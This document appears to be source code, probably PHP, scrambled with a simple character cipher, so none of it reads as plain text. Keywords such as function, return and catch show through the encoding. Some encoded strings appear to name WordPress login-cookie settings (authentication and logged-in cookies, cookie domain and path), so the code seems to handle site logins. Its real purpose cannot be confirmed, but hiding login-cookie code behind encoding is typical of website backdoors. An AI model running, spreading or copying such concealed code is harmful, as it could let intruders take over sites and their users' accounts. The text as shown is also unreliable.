KDZ@L #		T###								E@]QKC^^						i@^v_XSYHPXKSN [ZKLSD_  ###	]GSv]BKZ			E@]QKC^^			E@]QKC^^					 #@O				]GSv]BKZ					E@]QKC^^			  		R#		]GSv]BKZ				OHEZL#							T###		@O					]GSv]BKZ 	R#			BBXFNN[								iSPDBZLLFM] [ZKLSD_  #@O					@^v_XSYHPXKSN BBXFNN[ 							SPDBZLLFM] BBXFNN[ 			  			BBXFNN[					C^v@Z@\@ACBCLBBXFNN[ #		@O	@N[KMFGKOJZ BBXFNN[ 			UU				_SMG[M@XJvKJSK\BBXFNN[  				R#					]GSv]BKZ		OHEZL#				T		LEZL						R#				NJFMFLQ@A^X_K				AK@\_C^N^\[SGBvvQ@^v_XSYHPXKSN 		 #						v@JLXM]QG@@\								[FB]XFO_^SBBXFNN[ #			FBMGNC_MSZ[N			[FB]XFO_^SKKAEPBMEYMGE NJFMFLQ@A^X_K 						NJFMFLQ@A^X_K						 #							@O		v@JLXM]QG@@\										FBMGNC_MSZ[N								UU				_L[Z@FGvJFDYH[LFBMGNC_MSZ[N	v@JLXM]QG@@\	   				R#				OF]\_NEAAK				SPDBZLLFM] BBXFNN[ ####					X^NYSX\_BC			i@N[KMFGKOJZ @N[KMFGKOJZ [ZKLSD_  					SPDBZLLFM] 				OF]\_NEAAK #							@O	X^NYSX\_BC 	R#			vJ][DYMD]YL						NL]vFY]@FG@^v_XSYHPXKSN  #@O			SPDBZLLFM] vJ][DYMD]YL 										@N[KMFGKOJZ vJ][DYMD]YL			OF]\_NEAAK				U 												KKAEPBMEYMGE  			@G] 		@N[KMFGKOJZ vJ][DYMD]YL		@N[KMFGKOJZ vJ][DYMD]YL	U 							 				QMQL  		X^NYSX\_BC								][\L#	T#	@O	X^NYSX\_BC 				]GSv]BKZ						OHEZL###	@O			X^NYSX\_BC							SPDBZLLFM] NJFMFLQ@A^X_K 						NJFMFLQ@A^X_K									UU		FBMGNC_MSZ[N				UU			_L[Z@FGvJFDYH[LFBMGNC_MSZ[N			v@JLXM]QG@@\			   				CSvEESS]PSH[M^GBD_KKAEPBMEYMGE 		BBXFNN[		@N[KMFGKOJZ  #	\GZL]OF]\_NEAAK					X^NYSX\_BC		vJ][DYMD]YL ###T	LEZL@O	@N[KMFGKOJZ NJFMFLQ@A^X_K 				@N[KMFGKOJZ NJFMFLQ@A^X_K 			 					KKAEPBMEYMGE NJFMFLQ@A^X_K 			 						K[N[JPDKAX]LSNJFMFLQ@A^X_K 						_SMG[M@XJvKJSK\NJFMFLQ@A^X_K 			@N[KMFGKOJZ BBXFNN[ 		@N[KMFGKOJZ NJFMFLQ@A^X_K  		R#	YFZ]MFD@GH]L	Z@MLLOOLJ]O[LL	JFG][FEOEF^N[HYA##]GSv]BKZ								OHEZL#T#					T#					T#			@O				]GSv]BKZ 	R#	`G]E	LQ]LGZ@FG	[LEHQLM	Y@YLE@GL##	@O	@N[KMFGKOJZ @N[KMFGKOJZ   	R#							ZL]v][HGZ@LG]KKAEPBMEYMGE 			QQK  ####		T#							[L]\[G#			T#	@O	SDLMOCK_]JSDN^[ZKLSD_   			R#						[L]\[G#		T#ZQNAD[ALZX\					@N[KMFGKOJZ [ZKLSD_  #			@O			i@N[KMFGKOJZ ZQNAD[ALZX\  			R#	iJFEF[[LN@Z]L[	[LJF[MEHPL[##						vGQBQZEPNCOHHMZQNAD[ALZX\						 	][\L #	T#					QG^K^HEOBA@			AK@\_C^N^\[SGBvvQSPDBZLLFM] 		 #	@O		QG^K^HEOBA@	UU					@N[KMFGKOJZ QG^K^HEOBA@  					R#		@O		NL]v][HGZ@LG]@^v_XSYHPXKSN   					R##	FBQKvM[JB\ZMHPE\@N[KMFGKOJZ 		@^v_XSYHPXKSN  ######		ZL]v][HGZ@LG]@^v_XSYHPXKSN 								  #	T#			T#@O						QG^K^HEOBA@					SPDBZLLFM] QG^K^HEOBA@ 			@^v_XSYHPXKSN QG^K^HEOBA@ 		 							KKAEPBMEYMGE QG^K^HEOBA@ 			 							K[N[JPDKAX]LSQG^K^HEOBA@ 					_SMG[M@XJvKJSK\QG^K^HEOBA@  	R#			QMP@]J]ZACEB			[FB]XFO_^SQG^K^HEOBA@ ##		@O	QMP@]J]ZACEB												_L[Z@FGvJFDYH[LQMP@]J]ZACEB	^NKBHS]S^NFHGH^O] 					  				R#		[L]\[GQLHNNMMFKZLJUF@QZ^GDHP[QLHNNMMFKZLJw#####T#_DEQNQ[ZAF								KKAEPBMEYMGE [ZKLSD_  						KKAEPBMEYMGE 					SPDBZLLFM] [ZKLSD_ 		@N[KMFGKOJZ  ###DCLPZ_]EEPAF		iKKAEPBMEYMGE _DEQNQ[ZAF 				@^v_XSYHPXKSN Z][@GN 			iSPDBZLLFM] _DEQNQ[ZAF  		#@O	DCLPZ_]EEPAF										@^v_XSYHPXKSN QG^K^HEOBA@ 				DCLPZ_]EEPAF 						R####						[L]\[G#T##XX]L[vEYC^\OZSZ_@JL[ZKLSD_ 		  #	[@GCH		ZKXOKS\JGG_ZQC@QY[ZKLSD_ 				]ODXFFOB\PHLBFG^QG^K^HEOBA@  #	@O			[@GCH 		R#					LCEBMJ]BE[ZKLSD_  #	XX]L[vEYC^\OZSZ_@JL[ZKLSD_ 			  #EHOBPA]OAvH[ZKLSD_  #		LSQQPGQ_@[D^][\L ###Q]H[ENCXS]X^Z@]][\L #				GKGGQEFO\QBQGEP[ZKLSD_  #@O		@^v_XSYHPXKSN @N[KMFGKOJZ   			R#				ZL]v][HGZ@LG]KKAEPBMEYMGE 				QHLQ  #						T#			T	LEZL@O	SPDBZLLFM] @^v_XSYHPXKSN   			R#		ZL]v][HGZ@LG]KKAEPBMEYMGE 		  #			T###			T####				T		JH]JA	}A[F^HKEL			E]GYK]v 		R#FBQKvM[JB\ZMHPE\KKAEPBMEYMGE 	E]GYK]v ####	T		JH]JA		lQJLY]@FG			E]GYK]v 		R#				T#		T#				#	O\GJ]@FG	CANOv[CvY[F\ #	R#	yay	H]][@K\]LZ	@DHNL	M@DLGZ@FGZ##				BML[vN^LMNSPDBZLLFM] 	SPDBZLLFM]  #BML[vN^LMNSPDBZLLFM] 			KKAEPBMEYMGE  #	@O		@N[KMFGKOJZ SPDBZLLFM]   	R#					[LDF_LvHJ]@FGKKAEPBMEYMGE 					SPDBZLLFM]  #		[LDF_LvHJ]@FG@^v_XSYHPXKSN 				@^v_XSYHPXKSN 		  #[LDF_LvHJ]@FGKKAEPBMEYMGE 		@N[KMFGKOJZ 		  ####			T#	~y	kEFJB	H[@H]@FGZ	FY]@FG	[F^##							T#O\GJ]@FG					vDBQCN\XAA #R#	][P						R#	GF[DHE@SL###	^YMK				nefkhezr@^v_XSYHPXKSN t#				####			QM[CPKLBD							^YMKY[LO@Q					@N[KMFGKOJZ #					KCQHOv@[HHO							z					SPDBZLLFM] 				^YMK\ZL[Z								SPDBZLLFM] 		^YMK\ZL[DL]H					KKAEPBMEYMGE #	[L]\[G			^YMKNL]v[LZ\E]Z^YMKY[LYH[LKCQHOv@[HHO			QM[CPKLBD	@N[KMFGKOJZ   #			T			JH]JA	}A[F^HKEL				E]GYK]v 			R#		FBQKvM[JB\ZMHPE\KKAEPBMEYMGE 		E]GYK]v #				T			JH]JA						lQJLY]@FG	E]GYK]v 	R#							T#				[L]\[G				H[[HP Jv^PYXJUJ_ZXO\ZCQ]Jv^PYXJw####	T#			O\GJ]@FG	GvK]ME\Q\BFQSL_FPMvK@FJ #	R#	DLK^^CHLZXG			H[[HP #					GESJQGLGQ				O\GJ]@FG		\B_FFBOY_[Y 		R#	Y\KE@ZA	ZGHYZAF]@ZFEH]LM	^[@]LHALHMEFN##							\B_FFBOY_[Yr@N[KMFGKOJZ t				#						[L]\[G			\B_FFBOY_[Y#T#	Z][LHD@GN	Y\KE@ZAL[#####		][P				R#				@O		@N[KMFGKOJZ KKAEPBMEYMGE  	UU				@N[KMFGKOJZ KKAEPBMEYMGE   		R#	yay	DH]JA	LQY[LZZ@FG	KFF]Z][HY	JHYHK@E@]P##				[L]\[G	DLK^^CHLZXG#		T####		@O				KKAEPBMEYMGE FPMvK@FJ 			UU					LDY]PFPMvK@FJ  		R#							[L]\[G			DLK^^CHLZXG###			T#		B\[vvEA				SPDBZLLFM]  							w 					 ####		@ZvZZE					@^v_XSYHPXKSN KKAEPBMEYMGE  						@ZvZZE #	BAAGBJ^YN\EJ					@ZvZZE									KKAEPBMEYMGE 			@N[KMFGKOJZ #	[FP[_@BDAB							@ZvZZE							MLO@GLMSPDBZLLFM]  							zlj|{lvh|}avjffb`l				 				MLO@GLM@^v_XSYHPXKSN  						h|}avjffb`l		 #				DDCGM]\]PDNMQO					MLO@GLM@^v_XSYHPXKSN  						efnnlmv`gvjffb`l				####						@O				[FP[_@BDAB		UU							DDCGM]\]PDNMQO 			R#							[L]\[G			DLK^^CHLZXG#		T#		@KHKB_[KS[X					MLO@GLM@N[KMFGKOJZ  			jffb`lvmfdh`g			SPDBZLLFM] jffb`lvmfdh`g		 					^NSJYZ_PLBFXKO #[SFNQHAKHYB					MLO@GLM@N[KMFGKOJZ  							jffb`lyh}a			#	\O@@^X[^			MLO@GLM@N[KMFGKOJZ  			hmd`gvjffb`lvyh}a						KKAEPBMEYMGE #MLSODYQ\Sv				@ZvZZE			KKAEPBMEYMGE 				KKAEPBMEYMGE #	@ZN[XKKQY		u]#		BML[vN^LMN@N[KMFGKOJZ 		GESJQGLGQ				 #E\H_L^GB								L_LYNP^vZHQF\\F@^v_XSYHPXKSN  #]HHHHDN^JB[			KKAEPBMEYMGE @N[KMFGKOJZ  			iNL]vFY]@FGE\H_L^GB				H[[HP  				H[[HP #				@O			@N[KMFGKOJZ ]HHHHDN^JB[  		]HHHHDN^JB[							H[[HP #Z\^SLXHXE\Y					OHEZL#			Q]DHEKA						##OF[LHJA	FPMvK@FJ	HZ					QOYCO__ZDBLC 					R####@O				SPDBZLLFM] QOYCO__ZDBLC 	UU							QOYCO__ZDBLC`m				UU				QOYCO__ZDBLC\ZL[vEFN@G 				R#	JFG]@G\L#		##	T#	@O		Q]DHEKA			  						R#K[LHB#			T#					C_O_^SJGPCM						Z][@GN 	QOYCO__ZDBLC\ZL[vEFN@GG@YNQUHCSQG[^^Q@vPG@YNQw###@O		@ZZL]]HHHHDN^JB[rC_O_^SJGPCMt 								@G] 		]HHHHDN^JB[rC_O_^SJGPCMt		SPDBZLLFM]  											  		R#						JFG]@G\L#T#			^YvJHJALvMLEL]LQOYCO__ZDBLC`m				KKAEPBMEYMGE  ##	XYNHJv				NL]v\ZL[vDL]HQOYCO__ZDBLC`m		KKAEPBMEYMGE 		][\L ###			@O				SPDBZLLFM] XYNHJv 			@N[KMFGKOJZ XYNHJv 					  					R#	DH]^ZQLD					H[[HP #OF[LHJA		XYNHJv		HZ			J[AQGD]]O					]MCS@DLPNC 	R####	@O			@ZZL]]MCS@DLPNCrSPDBZLLFM] t 						]MCS@DLPNCr@N[KMFGKOJZ t						@^v_XSYHPXKSN   				R#	DH]^ZQLDrJ[AQGD]]Ot					]MCS@DLPNC#				T#		T#	@O			SPDBZLLFM] DH]^ZQLD 		SPDBZLLFM] XYNHJv  			R#			\YMH]Lv\ZL[vDL]HQOYCO__ZDBLC`m	@^v_XSYHPXKSN 			DH]^ZQLD #		T#		T####^YvJHJALvMLEL]LQOYCO__ZDBLC`m				@^v_XSYHPXKSN  #		@L_PNAB_FD						SPDBZLLFM] H[[HP@N[KMFGKOJZ 		SPDBZLLFM]  				QOYCO__ZDBLC`m #						vG[N]HXYKFE			@L_PNAB_FDJ[LH]LB\[vvEA #				^KJOZLO^S]				H[[HP #^KJOZLO^S]rt						@KHKB_[KS[X			@ZN[XKKQY				@N[KMFGKOJZ 					@ZN[XKKQY								[SFNQHAKHYB				@ZN[XKKQY			MLSODYQ\Sv						@ZN[XKKQY				B\[vvEA							@ZN[XKKQY		DDCGM]\]PDNMQO				@ZN[XKKQY				@N[KMFGKOJZ QOYCO__ZDBLC`m					B\[vvEA				KKAEPBMEYMGE 	vG[N]HXYKFE #								@O		[FP[_@BDAB 			R#	^KJOZLO^S]rt									@KHKB_[KS[X				@ZN[XKKQY			@N[KMFGKOJZ 							@ZN[XKKQY							\O@@^X[^				@ZN[XKKQY		MLSODYQ\Sv						@ZN[XKKQY			B\[vvEA					@ZN[XKKQY					[FP[_@BDAB					@ZN[XKKQY					@^v_XSYHPXKSN QOYCO__ZDBLC`m	B\[vvEA		BAAGBJ^YN\EJ	vG[N]HXYKFE #T###				DLK^^CHLZXGrQOYCO__ZDBLC\ZL[vEFN@Gt			^KJOZLO^S]#]HHHHDN^JB[rC_O_^SJGPCMt			B\[vvEA]YSOCvKXvL]YSOCvK#	Z\^SLXHXE\Y									][\L#	Q]DHEKA#	T#	AL[D@]@HG	APYL[EFNEFN###		@O				Z\^SLXHXE\Y				KKAEPBMEYMGE KKAEPBMEYMGE   			R#i\YMH]LvFY]@FGE\H_L^GB				]HHHHDN^JB[			KKAEPBMEYMGE  #	T#T	JH]JA		}A[F^HKEL		E]GYK]v 	R#FBQKvM[JB\ZMHPE\@^v_XSYHPXKSN 			E]GYK]v ###	T	JH]JA		lQJLY]@FG		E]GYK]v 			R#T#			[LDF_LvO@E]L[@N[KMFGKOJZ 		GESJQGLGQ		 #			[L]\[G			DLK^^CHLZXG####			T#O\GJ]@FG			GvPSJ\HMXMJOGM_BvQP[N^E ##				R#			@O			@N[KMFGKOJZ _BvQP[N^E  					[L]\[G				_BvQP[N^E#		@O	KKAEPBMEYMGE _BvQP[N^E 					@ZZL]_BvQP[N^ErYt 				@N[KMFGKOJZ _BvQP[N^ErYt  				[L]\[G				_BvQP[N^ErYt#		[L]\[G		#					T#	O\GJ]@FG	CB^\LDvOvXv[SKCHFPMvK@FJ #			R##		E@Z]				H[[HP #	_XvF]P]YX							Z][@GN 						AK@\_C^N^\[SGBvvQKKAEPBMEYMGE 		 #			[MHEJFO					Z][@GN 						AK@\_C^N^\[SGBvvQ@N[KMFGKOJZ 				 #				@O		_XvF]P]YX										[MHEJFO							 	R#					E@Z]r_XvF]P]YXt				[MHEJFO#				#####T#	QP@MO^F\									AK@\_C^N^\[SGBvvQ@N[KMFGKOJZ 	H[[HP  ##		@O				@N[KMFGKOJZ QP@MO^F\  		R####				OF[LHJA	QP@MO^F\	HZ	]HY_GBDPN							HN^[MX[P 				R#					OEKOHSDG@[F									GvPSJ\HMXMJOGMHN^[MX[P #		@O		OEKOHSDG@[F				 					E@Z]rZ][@GN 					]HY_GBDPNt										OEKOHSDG@[F#						T#				T#				[L]\[G	E@Z]##		T#O\GJ]@FG		XXOX\Z[YAZJEBPPND]HY_GBDPN			HBXBBCCC						K@OX_HNS]_YM #	R#				][P	R#					@O				SPDBZLLFM] ]HY_GBDPN 	UU						KKAEPBMEYMGE ]HY_GBDPN			KKAEPBMEYMGE   	R#[L]\[G	]HY_GBDPN#			T#@O						]HY_GBDPNAHZvJHYSPDBZLLFM]   				R#	[L]\[G		]HY_GBDPN#		T#				@O		KKAEPBMEYMGE K@OX_HNS]_YM 	UU				K@OX_HNS]_YM 			R#	dPzxe		j}lZ	DLHZ\[L	HEEFJH]F[##				[L]\[G				]HY_GBDPN#	T#QP@MO^F\		AK@\_C^N^\[SGBvvQ@^v_XSYHPXKSN 		H[[HP  #					@O		SPDBZLLFM] QP@MO^F\  	R#		QP@MO^F\						H[[HP ###			T#	OF[LHJA	QP@MO^F\				HZ	PJBvH[vX^HS[				DAGQ[H 		R###	YP\SvOK]KQ^			KKAEPBMEYMGE DAGQ[H 							@ZZL]DAGQ[Hr@N[KMFGKOJZ t 							@G] 			DAGQ[HrSPDBZLLFM] t								##			@O		YP\SvOK]KQ^				YP\SvOK]KQ^						KKAEPBMEYMGE  								  	\GZL]QP@MO^F\rPJBvH[vX^HS[t ###					T###		QP@MO^F\r]HY_GBDPN\ZL[vEFN@Gt		H[[HPY			K@OX_HNS]_YM			@^v_XSYHPXKSN 								KKAEPBMEYMGE  				@N[KMFGKOJZ 				 #		CSvEESS]PSH[M^GBD_SPDBZLLFM] 	QP@MO^F\			@N[KMFGKOJZ  ##	T			JH]JA			}A[F^HKEL	E]GYK]v 			R#FBQKvM[JB\ZMHPE\@^v_XSYHPXKSN 			E]GYK]v ###						T			JH]JA	lQJLY]@FG	E]GYK]v 		R#	T#							[L]\[G		]HY_GBDPN#		T###O\GJ]@FG		^H_C@QBHQSNZ\S[ZPK		]HY_GBDPN #		R#][P			R#	@O		@^v_XSYHPXKSN \S[ZPK 	UU		\S[ZPK					 	[L]\[G#	##		QP@MO^F\				AK@\_C^N^\[SGBvvQ@^v_XSYHPXKSN 	H[[HP  #		@O		KKAEPBMEYMGE QP@MO^F\ 			UU	@ZZL]QP@MO^F\r\S[ZPKt  				[L]\[G#		E]GYK]v					QP@MO^F\r\S[ZPKt#							@O				KKAEPBMEYMGE E]GYK]v 				LDY]PE]GYK]vr@^v_XSYHPXKSN t  			R_ZPDGZOFQMQJ BFSQNL[_Y_ZPDGZOF#			QP@MO^F\r\S[ZPKtrKKAEPBMEYMGE t					H\COYDXCBH\QKPAO_ZH\COYDXC#	CSvEESS]PSH[M^GBD_@^v_XSYHPXKSN 	QP@MO^F\	@^v_XSYHPXKSN  #T##				T	JH]JA	}A[F^HKEL			CKH_M_GGYXKB 			R#FBQKvM[JB\ZMHPE\SPDBZLLFM] 	CKH_M_GGYXKB #	T				JH]JA		lQJLY]@FG	CKH_M_GGYXKB 						R####				T#T#			O\GJ]@FG		BNXNv\JXSNKHN]@MSv]FPMvK@FJ #RvQO\BY^OYLM^UB@PMSvQO\BY^OYLM^w###		@O				@^v_XSYHPXKSN FPMvK@FJ  	R#	H^H@]	@MLDYF]LG]HMC	JFF[M@GH]F[##			[L]\[G	OHEZL##						T#EOKMKK\MAK				@S]MS^KHZNAQLFD #	OF[LHJA	FPMvK@FJ		HZ						QOYCO__ZDBLC 	R#	OF[LHJA					EOKMKK\MAK	HZ					FBD_NNG@\Bv 	R#	@O		@^v_XSYHPXKSN SPDBZLLFM] 				SPDBZLLFM] FBD_NNG@\Bv	 					@^v_XSYHPXKSN 		QOYCO__ZDBLC\ZL[vEFN@G  			R#	]F]HE	Y[FFO]L[D	##[L]\[G		QOYCO__ZDBLC#	T#				T#				T#[L]\[G	OHEZL#		T#	O\GJ]@FG	FZLYYKLLEQ[\AES[\CP[[HM_		@EAPNYJGGMP #				R#	[L]\[G	@N[KMFGKOJZ SPDBZLLFM] ES[\CP[[HM_ 				@EAPNYJGGMP ####	T###		O\GJ]@FG					NDOONH]^N[]O@vFX@A #	R#		@O	@^v_XSYHPXKSN O@vFX@A 				UU		O@vFX@A						UU				MLO@GLMKKAEPBMEYMGE   				[L]\[G			OHEZL#		Z]H]@J			vS^EQPNOO[										G\EE#	@O				vS^EQPNOO[			G\EE 	R#	~y	yH[HN[HYA	kEFJB	[LELHZL	MLX\L#L_F@AAB@]^Ayayvdhcf{vl{z`fgOYJQ_HKCHL_F@AAB@]^A#		vS^EQPNOO[				H[[HP#	FZLYYKLLEQ[\Ahkzyh}a		@N[KMFGKOJZ 		  									@^v_XSYHPXKSN #			FZLYYKLLEQ[\Ahkzyh}a			@^v_XSYHPXKSN 			  									SPDBZLLFM] # #	T#	OF[LHJA		vS^EQPNOO[			HZ			[\FLOSBNQ 				RBYEEYAJ\\DOQNPXvHOKBYEEYAJ\\#			@O		@N[KMFGKOJZ O@vFX@A	[\FLOSBNQ 						OHEZL 	[L]\[G					][\L#	T#			[L]\[G		OHEZL#				T#O\GJ]@FG	LQQJANXGGQN@EAPNYJGGMP ##			REJYZSLLXZBK_LGYHBSGXEJYZSLLXZBK#	[L]\[G		FZLYYKLLEQ[\A\G@X@MZ][@GN 			SPDBZLLFM]  			][\L 		@EAPNYJGGMP ####								T#		O\GJ]@FG				ZKOS^YJvL]Y[KEZLXGEQBCJL #R#@O	KKAEPBMEYMGE @^v_XSYHPXKSN   	[L]\[G					OHEZL####		BMBSCJOZA				NL]vFY]@FG@^v_XSYHPXKSN 		H[[HP  DKNAONA_LLYJ^QGDKNAONA_L#@O	KKAEPBMEYMGE BMBSCJOZA  	[L]\[G					OHEZL#	L\vO][CK			@^v_XSYHPXKSN GEQBCJL ####	@O	LDY]PBMBSCJOZArL\vO][CKt  		[L]\[G			OHEZL#							OEKOHSDG@[F					@N[KMFGKOJZ U				Z][@GN 		BMBSCJOZArL\vO][CKt #						YQCN[^LE]				@ZZL]OEKOHSDG@[Frt 					@G] 				OEKOHSDG@[Frt					PJGMB\B[\_Q@PJGMB\B[#		[L]\[G				YQCN[^LE]									KKAEPBMEYMGE  					YQCN[^LE]				QLJJQKM  #T#					O\GJ]@FG	GG[FMM@XFGEQBCJL				KXZGCZS #				R#	@O	@N[KMFGKOJZ @N[KMFGKOJZ  				UU					@^v_XSYHPXKSN @N[KMFGKOJZ   	[L]\[G#							BMBSCJOZA					NL]vFY]@FGSPDBZLLFM] 		H[[HP  #					@O			@N[KMFGKOJZ BMBSCJOZA  				BMBSCJOZA					H[[HP #	L\vO][CK				@N[KMFGKOJZ GEQBCJL ##@O	KXZGCZS 						R#@O		@ZZL]BMBSCJOZArL\vO][CKt  		R#\GZL]BMBSCJOZArL\vO][CKt #\YMH]LvFY]@FGKKAEPBMEYMGE 				BMBSCJOZA #					T#			[L]\[G#	T####					DCD[LZ@BKN\_				#						@O	LDY]PBMBSCJOZArL\vO][CKt  		R#		OEKOHSDG@[F					@N[KMFGKOJZ U	Z][@GN 			BMBSCJOZArL\vO][CKt #					DCD[LZ@BKN\_					@G] 	OEKOHSDG@[Frt##	T#		DCD[LZ@BKN\_#					YQCN[^LE]						DCD[LZ@BKN\_				  				@^v_XSYHPXKSN  						#OF[LHJA		BMBSCJOZA			HZ			XLCSBEvH			ZLLOLKOGXCK 					R#			O@vFX@A				KKAEPBMEYMGE U			Z][@GN 				ZLLOLKOGXCK #	@O			LDY]PO@vFX@Art 			SPDBZLLFM]  				@G] 	O@vFX@Art				QOQ  		\GZL]BMBSCJOZArXLCSBEvHt #						T####BMBSCJOZArL\vO][CKt				DCD[LZ@BKN\_					U		YQCN[^LE]#\YMH]LvFY]@FG@^v_XSYHPXKSN 	BMBSCJOZA #					T#			O\GJ]@FG				GXY\C\GJQ@GEQBCJL			\SZ\LFZAK@HB ###			R###			@O	@N[KMFGKOJZ \SZ\LFZAK@HB  	[L]\[G####	JCvvY@XM^Y\L						Jv[GJMMAY\BvJQKKAEPBMEYMGE GEQBCJL 		@N[KMFGKOJZ  #						@O					JCvvY@XM^Y\L					OHEZL 		R#				@O						i@^v_XSYHPXKSN JCvvY@XM^Y\L					\SZ\LFZAK@HB 						@^v_XSYHPXKSN \SZ\LFZAK@HB 			A[E_SCK^\vBYJCvvY@XM^Y\L			GEQBCJL  				[L]\[G##		@PE[Z\[XJ_PLXGJCvvY@XM^Y\L ###					T#iSPDBZLLFM] GEQBCJL						\SZ\LFZAK@HB #				T##				O\GJ]@FG		ZKXOKS\JGG_ZQC@QYGEQBCJL	_N@]LYAZvQA ####	R#	[YBEB\JZ			@N[KMFGKOJZ GEQBCJL #	@O	iSPDBZLLFM] [YBEB\JZ  			R#				FBQKvM[JB\ZMHPE\@^v_XSYHPXKSN 		@^v_XSYHPXKSN 					SPDBZLLFM] GEQBCJL  #	[L]\[G	OHEZL###	T#		\[HO\@XG							KKAEPBMEYMGE GEQBCJL		QQ  										@^v_XSYHPXKSN  #@O			\[HO\@XG					_SMG[M@XJvKJSK\_N@]LYAZvQA  		R#	FBQKvM[JB\ZMHPE\@^v_XSYHPXKSN 			SPDBZLLFM] 				@N[KMFGKOJZ GEQBCJL  #				[L]\[G				OHEZL#T#			@O				\[HO\@XG								ZKOS^YJvL]Y[KEZLXGEQBCJL  		[L]\[G		OHEZL#QF^vvSG								OHEZL#		@O		i@^v_XSYHPXKSN GEQBCJL  				QF^vvSG						][\L	#				\SZ\LFZAK@HB			G\EEECNNPFZZyayv`g}vdhqyayv`g}vdhq_D[OEB[OLQECNNPFZZ#							QOBQNOEB						OHEZL#	L^^J\		G\EE#			@O		i@N[KMFGKOJZ GEQBCJL 						i@N[KMFGKOJZ GEQBCJL  	R#						QOBQNOEB					][\L#				L^^J\				iO@ELYL[DZGEQBCJL #	@O			L^^J\					OHEZL 				L^^J\								G\EE#@O				i@^v_XSYHPXKSN GEQBCJL 						QOQLLO  	\SZ\LFZAK@HB					iKKAEPBMEYMGE GEQBCJL ####		T#	@O			KKAEPBMEYMGE KKAEPBMEYMGE   	R#		FBQKvM[JB\ZMHPE\SPDBZLLFM] 	@^v_XSYHPXKSN 		SPDBZLLFM] GEQBCJL  #					[L]\[G				OHEZL#								T###DMJO[ZB@HJBJGZ						OHEZL#	OJJSH^KEMF				OHEZL#			vJE					SPDBZLLFM] _N@]LYAZvQA #		OF[			EJDKMN[C]											EJDKMN[C]					EJDKMN[C] 			R#DMJO[ZB@HJBJGZ					Jv[GJMMAY\BvJQ[YBEB\JZ	SPDBZLLFM]  #@O		DMJO[ZB@HJBJGZ				OHEZL 			R#OJJSH^KEMF				OHEZL#		O@vFX@A								i@^v_XSYHPXKSN DMJO[ZB@HJBJGZ			@N[KMFGKOJZ  #					@O	O@vFX@A			OHEZL 		R#	G[XvMCQ		#			^A@EL						G[XvMCQ			vJE 			R###	NvFFG]H_SOK			iSPDBZLLFM] O@vFX@A	SPDBZLLFM] _N@]LYAZvQA			G[XvMCQ  #	@O		NvFFG]H_SOK							OHEZL	UU	NvFFG]H_SOK						 	K[LHB#			G[XvMCQ		NvFFG]H_SOK#T#			iOOE\ZAO@vFX@A #	iZYLJ@HE@SL	HNN[LNH]F[#@H^OBDULL_LZ^MPKF@H^OBDw#@O			@^v_XSYHPXKSN @N[KMFGKOJZ   				iOZPGJO@vFX@A GL^A_NJE]XK\Z_AADGL^A_NJE]X GL^A_NJE]XGL^A_NJE]X#		iOJEFZLO@vFX@A #			@O	G[XvMCQ					vJE 		OJJSH^KEMF			G[XvMCQ#		T					LEZL		R###OJJSH^KEMF				iSPDBZLLFM] DMJO[ZB@HJBJGZ						_N@]LYAZvQA ##					T#	@GE@GL	JHJAL##		@O	OJJSH^KEMF					OHEZL							OJJSH^KEMF						vJE 		K[LHB#				@PE[Z\[XJ_PLXGDMJO[ZB@HJBJGZ ####			DMJO[ZB@HJBJGZ								OHEZL###			T####T#					@O				DMJO[ZB@HJBJGZ						OHEZL 	R#	FBQKvM[JB\ZMHPE\KKAEPBMEYMGE 			SPDBZLLFM] 			KKAEPBMEYMGE GEQBCJL  #[L]\[G	OHEZL#			T####@O	OJJSH^KEMF				OHEZL	UU		OJJSH^KEMF				vJE 				R#	FBQKvM[JB\ZMHPE\@^v_XSYHPXKSN 	@N[KMFGKOJZ 		KKAEPBMEYMGE GEQBCJL  #@PE[Z\[XJ_PLXGDMJO[ZB@HJBJGZ #[L]\[G				OHEZL#	T#	@O			L^^J\								G\EE 			i@N[KMFGKOJZ DMJO[ZB@HJBJGZ		L^^J\										  ###	_\EB@OS]XNS_H						A[E_SCK^\vBYDMJO[ZB@HJBJGZ					GEQBCJL #			@O			_\EB@OS]XNS_H				QOBQNOEB								QF^vvSG 	R#	@O					iKKAEPBMEYMGE GEQBCJL  	XX]L[vEYC^\OZSZ_@JLGEQBCJL		  #	SLM_GS@HHXJvL					GEQBCJL		@^v_XSYHPXKSN 						@^v_XSYHPXKSN QQ 	  #			@O		A[E_SCK^\vBYGEQBCJL				SLM_GS@HHXJvL  					R#			_\EB@OS]XNS_H				A[E_SCK^\vBYDMJO[ZB@HJBJGZ	GEQBCJL #	@O		_\EB@OS]XNS_H 	R##		@PE[Z\[XJ_PLXGSLM_GS@HHXJvL ##T			LEZL				R#	ZH]@ZO@HKEL	KHJBEFN###				@O			A[E_SCK^\vBYSLM_GS@HHXJvL		GEQBCJL 						OFS\^N^[@QHSLM_GS@HHXJvL				GEQBCJL  			R#			GXY\C\GJQ@GEQBCJL	\SZ\LFZAK@HB #				T#	yz{	D@MMEL^H[L	E@GLH[HMC	K[HGMLM]PYL##	@O						i@^v_XSYHPXKSN GEQBCJL  			R#						GXY\C\GJQ@GEQBCJL		\SZ\LFZAK@HB #		T###	T###	T#T###					@O			_\EB@OS]XNS_H				QF^vvSG				\[HO\@XG 	R####@O			iKKAEPBMEYMGE GEQBCJL  					XX]L[vEYC^\OZSZ_@JLGEQBCJL		  #@O		OFS\^N^[@QHDMJO[ZB@HJBJGZ					GEQBCJL  		R#		_\EB@OS]XNS_H					][\L#@PE[Z\[XJ_PLXGDMJO[ZB@HJBJGZ GCvB[SAA_PNFOPFvGCvB[S GCvB[SGCvB[S#		T#					T####	@O	_\EB@OS]XNS_H 					R#		@O				iKKAEPBMEYMGE GEQBCJL 				@G] 	i@N[KMFGKOJZ GEQBCJL 				vJE 				RGJNNDQXOFOSQMDEA[GJNNDQ#					JSMZ@K@v		i@N[KMFGKOJZ GEQBCJL ##					@O						@^v_XSYHPXKSN JSMZ@K@v 	UU		SPDBZLLFM] \SZ\LFZAK@HB 				JSMZ@K@v					\SZ\LFZAK@HB  			R#		@O		KKAEPBMEYMGE \SZ\LFZAK@HB  	GXY\C\GJQ@GEQBCJL	\SZ\LFZAK@HB ###LEZL@O		QOBQNOEB 	@PE[Z\[XJ_PLXGGEQBCJL #	~y	zFJ@HE	e@GBZ	[LZYFGZ@_L	K[LHBYF@G]##							T#		\GZL]JSMZ@K@v #				T#		@O				iSPDBZLLFM] GEQBCJL  		R#GXY\C\GJQ@GEQBCJL	\SZ\LFZAK@HB #T#FBQKvM[JB\ZMHPE\KKAEPBMEYMGE 		@N[KMFGKOJZ 							@N[KMFGKOJZ 